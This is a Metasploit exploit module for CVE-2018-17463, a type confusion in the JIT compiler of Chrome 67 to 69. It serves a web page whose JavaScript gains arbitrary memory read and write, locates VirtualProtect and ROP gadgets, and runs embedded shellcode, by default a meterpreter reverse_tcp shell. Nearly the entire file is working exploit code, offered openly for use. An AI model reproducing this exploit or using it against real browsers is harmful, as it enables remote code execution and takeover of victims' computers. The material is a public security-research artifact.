436 lines
17 KiB
Ruby
436 lines
17 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Google Chrome 67, 68 and 69 Object.create exploit',
|
|
'Description' => %q{
|
|
This modules exploits a type confusion in Google Chromes JIT compiler.
|
|
The Object.create operation can be used to cause a type confusion between a
|
|
PropertyArray and a NameDictionary.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'saelo', # discovery and exploit
|
|
'timwr', # metasploit module
|
|
],
|
|
'References' => [
|
|
['CVE', '2018-17463'],
|
|
['URL', 'http://www.phrack.org/papers/jit_exploitation.html'],
|
|
['URL', 'https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce'],
|
|
['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
|
|
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=888923'],
|
|
],
|
|
'Arch' => [ ARCH_X64 ],
|
|
'Platform' => 'windows',
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' },
|
|
'Targets' => [ [ 'Automatic', { } ] ],
|
|
'DisclosureDate' => 'Sep 25 2018'))
|
|
register_advanced_options([
|
|
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
|
|
])
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
|
|
print_status("[*] " + request.body)
|
|
send_response(cli, '')
|
|
return
|
|
end
|
|
|
|
print_status("Sending #{request.uri} to #{request['User-Agent']}")
|
|
html = %Q^
|
|
<html>
|
|
<head>
|
|
<script>
|
|
|
|
#{ datastore['DEBUG_EXPLOIT'] ? 'print = function(arg) {
|
|
var request = new XMLHttpRequest();
|
|
request.open("POST", "/print", false);
|
|
request.send("" + arg);
|
|
};
|
|
' : '' }
|
|
|
|
// We need some space later
|
|
let scratch = new ArrayBuffer(0x100000);
|
|
let scratch_u8 = new Uint8Array(scratch);
|
|
let scratch_u64 = new BigUint64Array(scratch);
|
|
scratch_u8.fill(0x41, 0, 10);
|
|
|
|
let shellcode = new Uint8Array([#{Rex::Text::to_num(payload.encoded)}]);
|
|
|
|
let ab = new ArrayBuffer(8);
|
|
let floatView = new Float64Array(ab);
|
|
let uint64View = new BigUint64Array(ab);
|
|
let uint8View = new Uint8Array(ab);
|
|
|
|
Number.prototype.toBigInt = function toBigInt() {
|
|
floatView[0] = this;
|
|
return uint64View[0];
|
|
};
|
|
|
|
BigInt.prototype.toNumber = function toNumber() {
|
|
uint64View[0] = this;
|
|
return floatView[0];
|
|
};
|
|
|
|
function hex(n) {
|
|
return '0x' + n.toString(16);
|
|
};
|
|
|
|
function fail(s) {
|
|
print('FAIL ' + s);
|
|
throw null;
|
|
}
|
|
|
|
const NUM_PROPERTIES = 32;
|
|
const MAX_ITERATIONS = 100000;
|
|
|
|
function gc() {
|
|
for (let i = 0; i < 200; i++) {
|
|
new ArrayBuffer(0x100000);
|
|
}
|
|
}
|
|
|
|
function make(properties) {
|
|
let o = {inline: 42} // TODO
|
|
for (let i = 0; i < NUM_PROPERTIES; i++) {
|
|
eval(`o.p${i} = properties[${i}];`);
|
|
}
|
|
return o;
|
|
}
|
|
|
|
function pwn() {
|
|
function find_overlapping_properties() {
|
|
let propertyNames = [];
|
|
for (let i = 0; i < NUM_PROPERTIES; i++) {
|
|
propertyNames[i] = `p${i}`;
|
|
}
|
|
eval(`
|
|
function vuln(o) {
|
|
let a = o.inline;
|
|
this.Object.create(o);
|
|
${propertyNames.map((p) => `let ${p} = o.${p};`).join('\\n')}
|
|
return [${propertyNames.join(', ')}];
|
|
}
|
|
`);
|
|
|
|
let propertyValues = [];
|
|
for (let i = 1; i < NUM_PROPERTIES; i++) {
|
|
propertyValues[i] = -i;
|
|
}
|
|
|
|
for (let i = 0; i < MAX_ITERATIONS; i++) {
|
|
let r = vuln(make(propertyValues));
|
|
if (r[1] !== -1) {
|
|
for (let i = 1; i < r.length; i++) {
|
|
if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) {
|
|
return [i, -r[i]];
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
fail("Failed to find overlapping properties");
|
|
}
|
|
|
|
function addrof(obj) {
|
|
eval(`
|
|
function vuln(o) {
|
|
let a = o.inline;
|
|
this.Object.create(o);
|
|
return o.p${p1}.x1;
|
|
}
|
|
`);
|
|
|
|
let propertyValues = [];
|
|
propertyValues[p1] = {x1: 13.37, x2: 13.38};
|
|
propertyValues[p2] = {y1: obj};
|
|
|
|
let i = 0;
|
|
for (; i < MAX_ITERATIONS; i++) {
|
|
let res = vuln(make(propertyValues));
|
|
if (res !== 13.37)
|
|
return res.toBigInt()
|
|
}
|
|
|
|
fail("Addrof failed");
|
|
}
|
|
|
|
function corrupt_arraybuffer(victim, newValue) {
|
|
eval(`
|
|
function vuln(o) {
|
|
let a = o.inline;
|
|
this.Object.create(o);
|
|
let orig = o.p${p1}.x2;
|
|
o.p${p1}.x2 = ${newValue.toNumber()};
|
|
return orig;
|
|
}
|
|
`);
|
|
|
|
let propertyValues = [];
|
|
let o = {x1: 13.37, x2: 13.38};
|
|
propertyValues[p1] = o;
|
|
propertyValues[p2] = victim;
|
|
|
|
for (let i = 0; i < MAX_ITERATIONS; i++) {
|
|
o.x2 = 13.38;
|
|
let r = vuln(make(propertyValues));
|
|
if (r !== 13.38)
|
|
return r.toBigInt();
|
|
}
|
|
|
|
fail("Corrupt ArrayBuffer failed");
|
|
}
|
|
|
|
let [p1, p2] = find_overlapping_properties();
|
|
print(`Properties p${p1} and p${p2} overlap after conversion to dictionary mode`);
|
|
|
|
let memview_buf = new ArrayBuffer(1024);
|
|
let driver_buf = new ArrayBuffer(1024);
|
|
|
|
gc();
|
|
|
|
|
|
let memview_buf_addr = addrof(memview_buf);
|
|
memview_buf_addr--;
|
|
print(`ArrayBuffer @ ${hex(memview_buf_addr)}`);
|
|
|
|
let original_driver_buf_ptr = corrupt_arraybuffer(driver_buf, memview_buf_addr);
|
|
|
|
let driver = new BigUint64Array(driver_buf);
|
|
let original_memview_buf_ptr = driver[4];
|
|
|
|
let memory = {
|
|
write(addr, bytes) {
|
|
driver[4] = addr;
|
|
let memview = new Uint8Array(memview_buf);
|
|
memview.set(bytes);
|
|
},
|
|
read(addr, len) {
|
|
driver[4] = addr;
|
|
let memview = new Uint8Array(memview_buf);
|
|
return memview.subarray(0, len);
|
|
},
|
|
readPtr(addr) {
|
|
driver[4] = addr;
|
|
let memview = new BigUint64Array(memview_buf);
|
|
return memview[0];
|
|
},
|
|
writePtr(addr, ptr) {
|
|
driver[4] = addr;
|
|
let memview = new BigUint64Array(memview_buf);
|
|
memview[0] = ptr;
|
|
},
|
|
addrof(obj) {
|
|
memview_buf.leakMe = obj;
|
|
let props = this.readPtr(memview_buf_addr + 8n);
|
|
return this.readPtr(props + 15n) - 1n;
|
|
},
|
|
};
|
|
|
|
let div = document.createElement('div');
|
|
let div_addr = memory.addrof(div);
|
|
print('div_addr @ ' + hex(div_addr));
|
|
let el_addr = memory.readPtr(div_addr + 0x20n);
|
|
let leak = memory.readPtr(el_addr);
|
|
|
|
print('leak @ ' + hex(leak));
|
|
function find_pe(address) {
|
|
let search_pe = address & 0x7fffffff0000n;
|
|
while (1) {
|
|
let read_val = memory.read(search_pe, 2);
|
|
if (read_val[0] == 77
|
|
&& read_val[1] == 90) { //MZ
|
|
return search_pe;
|
|
}
|
|
search_pe -= 0x10000n;
|
|
}
|
|
}
|
|
|
|
//let chrome_child = (leak - 0x40b4500n) & 0x7ffffff0000n;
|
|
let chrome_child = find_pe(leak);
|
|
print('chrome_child @ ' + hex(chrome_child));
|
|
|
|
function strcmp(input_string, str_address) {
|
|
for (var str_index=0;;str_index += 1) {
|
|
let string_data = memory.read(str_address + BigInt(str_index), 8);
|
|
if (input_string.length == str_index) {
|
|
if (string_data[0] == 0) return 0;
|
|
return -1;
|
|
}
|
|
if (string_data[0] != input_string.charCodeAt(str_index)) return -1;
|
|
}
|
|
}
|
|
|
|
function find_gadget(base_pe, gadget) {
|
|
for (var i=0n;i<0x1000n;i++) {
|
|
let text_section = memory.readPtr(base_pe + i * 0x8n);
|
|
if (text_section != 0x747865742e && text_section != 0x5452) continue; // .text or RZ
|
|
let text_size = (memory.readPtr(base_pe + i * 0x8n + 0x8n) & 0xffffffffn);
|
|
let text_address = (memory.readPtr(base_pe + i * 0x8n + 0xcn) & 0xffffffffn);
|
|
let text_start = base_pe + text_address;
|
|
let text_end = text_start + text_size;
|
|
for (let search = text_start;search<text_end;search+=1n) {
|
|
for (var j=0;j<gadget.length;j++) {
|
|
let data = memory.read(search + BigInt(j), 1);
|
|
if (data[0] != gadget[j]) break;
|
|
if (j == gadget.length - 1) {
|
|
return search;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
function get_proc_address(base_pe, dllname, procname) {
|
|
let base_pe_optional_header = base_pe + (memory.readPtr(base_pe + 0x3cn) & 0xffffn) + 0x18n;
|
|
let import_table = memory.readPtr(base_pe_optional_header + 0x78n) & 0xffffffffn;
|
|
let import_size = memory.readPtr(base_pe_optional_header + 0x80n) & 0xffffffffn;
|
|
for (var i=0n;i<import_size;i++) {
|
|
let import_name = memory.readPtr(base_pe + import_table + 0xcn + (i * 0x14n)) & 0xffffffffn;
|
|
if (import_name == 0) break;
|
|
if (strcmp(dllname, base_pe + import_name) == 0) {
|
|
let import_org_thunk = memory.readPtr(base_pe + import_table + (i * 0x14n)) & 0xffffffffn;
|
|
for (var j=0n;;j++) {
|
|
let thunk = memory.readPtr(base_pe + import_org_thunk + 0x8n * j);
|
|
if (thunk == 0) break;
|
|
if (strcmp(procname, base_pe + thunk + 0x2n) == 0) {
|
|
let import_thunk = memory.readPtr(base_pe + import_table + 0x10n + (i * 0x14n)) & 0xffffffffn;
|
|
let thunk_addr = memory.readPtr(base_pe + import_thunk + 0x8n * j);
|
|
return thunk_addr;
|
|
}
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
fail('get_proc_address could not find ' + module + ':' + procname + ' in ' + hex(base_pe));
|
|
}
|
|
|
|
let virtualprotect = get_proc_address(chrome_child, "KERNEL32.dll", "VirtualProtect");
|
|
print("virtualprotect = " + hex(virtualprotect));
|
|
|
|
let kernel32 = find_pe(virtualprotect);
|
|
print('kernel32 @ ' + hex(kernel32));
|
|
|
|
let ntqueryevent = get_proc_address(kernel32, "ntdll.dll", "NtQueryEvent");
|
|
print("ntqueryevent = " + hex(ntqueryevent));
|
|
|
|
let ntdll = find_pe(ntqueryevent);
|
|
print('ntdll @ ' + hex(ntdll));
|
|
|
|
//00007ff9`296f0705 488b5150 mov rdx,qword ptr [rcx+50h]
|
|
//00007ff9`296f0709 488b6918 mov rbp,qword ptr [rcx+18h]
|
|
//00007ff9`296f070d 488b6110 mov rsp,qword ptr [rcx+10h]
|
|
//00007ff9`296f0711 ffe2 jmp rdx
|
|
|
|
let gadget = find_gadget(ntdll, [0x48, 0x8b, 0x51, 0x50, 0x48, 0x8b, 0x69, 0x18]);
|
|
|
|
//0x1800a11b5 488b5150 mov rdx, qword [rcx + 0x50]
|
|
//00007FFF5FEE11B5 488B5150
|
|
//0x78ea1045 488b5150 mov rdx, qword [rcx + 0x50]
|
|
|
|
//let gadget = 0x41414141n;
|
|
//let gadget = ntdll + 0xA0705n;
|
|
//let gadget = ntdll + 0xa11b5n;
|
|
//let gadget = ntdll + 0x51045n;
|
|
|
|
// chrome_child + 0x36a657n, // pop rcx ; ret 59 c3
|
|
//0x000000018007522f: pop rcx; ret;
|
|
|
|
let pop_gadgets_old = [
|
|
// chrome_child + 0x7522fn, // pop rcx ; ret 59 c3
|
|
chrome_child + 0x36a657n, // pop rcx ; ret 59 c3
|
|
chrome_child + 0x9962n, // pop rdx ; ret 5a c3
|
|
chrome_child + 0xc72852n, // pop r8 ; ret 41 58 c3
|
|
chrome_child + 0xc51425n, // pop r9 ; ret 41 59 c3
|
|
];
|
|
|
|
let pop_gadgets = [
|
|
find_gadget(chrome_child, [0x59, 0xc3]),
|
|
find_gadget(chrome_child, [0x5a, 0xc3]),
|
|
find_gadget(chrome_child, [0x41, 0x58, 0xc3]),
|
|
find_gadget(chrome_child, [0x41, 0x59, 0xc3]),
|
|
];
|
|
|
|
print('gadget @ ' + hex(gadget));
|
|
//print('gadget = ' + hex(memory.readPtr(gadget) & 0xffffffffn));
|
|
//print('pop_gadget @ ' + hex(pop_gadgets[0]));
|
|
//print('pop_gadget = ' + hex(memory.readPtr(pop_gadgets[0]) & 0xffffn));
|
|
//print('pop_gadget @ ' + hex(pop_gadgets[1]));
|
|
//print('pop_gadget = ' + hex(memory.readPtr(pop_gadgets[1]) & 0xffffn));
|
|
//print('pop_gadget @ ' + hex(pop_gadgets[2]));
|
|
//print('pop_gadget = ' + hex(memory.readPtr(pop_gadgets[2]) & 0xffffffn));
|
|
//print('pop_gadget @ ' + hex(pop_gadgets[3]));
|
|
//print('pop_gadget = ' + hex(memory.readPtr(pop_gadgets[3]) & 0xffffffn));
|
|
|
|
let scratch_addr = memory.readPtr(memory.addrof(scratch) + 0x20n);
|
|
|
|
let sc_offset = 0x20000n - scratch_addr % 0x1000n;
|
|
let sc_addr = scratch_addr + sc_offset
|
|
scratch_u8.set(shellcode, Number(sc_offset));
|
|
|
|
scratch_u64.fill(gadget, 0, 100);
|
|
//scratch_u64.fill(0xdeadbeefn, 0, 100);
|
|
|
|
let fake_vtab = scratch_addr;
|
|
let fake_stack = scratch_addr + 0x10000n;
|
|
|
|
let stack = [
|
|
pop_gadgets[0],
|
|
sc_addr,
|
|
pop_gadgets[1],
|
|
0x1000n,
|
|
pop_gadgets[2],
|
|
0x40n,
|
|
pop_gadgets[3],
|
|
scratch_addr,
|
|
virtualprotect,
|
|
sc_addr,
|
|
];
|
|
|
|
for (let i = 0; i < stack.length; ++i) {
|
|
scratch_u64[0x10000/8 + i] = stack[i];
|
|
}
|
|
|
|
memory.writePtr(el_addr + 0x10n, fake_stack); // RSP
|
|
memory.writePtr(el_addr + 0x50n, pop_gadgets[0] + 1n); // RIP = ret
|
|
memory.writePtr(el_addr + 0x58n, 0n);
|
|
memory.writePtr(el_addr + 0x60n, 0n);
|
|
memory.writePtr(el_addr + 0x68n, 0n);
|
|
memory.writePtr(el_addr, fake_vtab);
|
|
|
|
// Trigger virtual call
|
|
div.dispatchEvent(new Event('click'));
|
|
|
|
// We are done here, repair the corrupted array buffers
|
|
let addr = memory.addrof(driver_buf);
|
|
memory.writePtr(addr + 32n, original_driver_buf_ptr);
|
|
memory.writePtr(memview_buf_addr + 32n, original_memview_buf_ptr);
|
|
}
|
|
|
|
pwn();
|
|
</script>
|
|
</head>
|
|
<body>
|
|
</body>
|
|
</html>
|
|
^
|
|
unless datastore['DEBUG_EXPLOIT']
|
|
html.gsub!(/\/\/.*$/, '') # strip comments
|
|
html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
|
|
end
|
|
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
|
|
end
|
|
|
|
end
|